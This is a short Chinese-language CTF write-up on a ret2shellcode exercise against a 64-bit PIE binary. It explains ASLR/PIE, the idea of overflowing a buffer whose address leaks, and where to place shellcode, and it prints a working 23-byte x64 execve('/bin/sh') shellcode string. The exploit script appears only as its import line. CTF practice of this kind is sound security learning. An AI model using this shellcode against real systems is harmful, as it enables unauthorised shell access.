ret2shellcode-习题
binary
64位的binary,开启Partial RELR0和PIE。
PIE/ASLR
1、简介
PIE(position-independent executables)和ASLR(address space layout randomization),地址空间布局随机化。
2、原理
在程序运行加载时,程序和其库文件都会被映射到虚拟地址空间的不同地址,其对应的地址随着每一次执行程序的 变化而变化。
通过地址空间随机化机制,阻止黑客在堆栈上执行shellcode。
3、开关
1 | 1)操作系统地址随机化: |
IDA
binary存在溢出,尽管其开启了PIE,可是泄露出来了buf的地址。
所以利用的思路就是ret2shellcode,往buf中填入shellcode,通过接受泄露出的buf地址,溢出劫持控制流去执行shellcode。
shellcode
1、选择
由于可填充的空间有限制,0x40=64
,而pwntools中的shellcode长度在44
,还得考虑填充buf的地址和垃圾数据问题,故选择一段23字节的64位shellcode
1 | shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" |
2、部署
为避免shellcode填充进去后,在执行过程中被leave
指令破坏,不能将shellcode填充到最前面。
下面利用gdb进行动态调试解释:
GDB
pwn
exploit
1 | from pwn import * |
注意:shellcode_addr = buf_addr+offset+len(buf_addr)
reference
github-ctf-wiki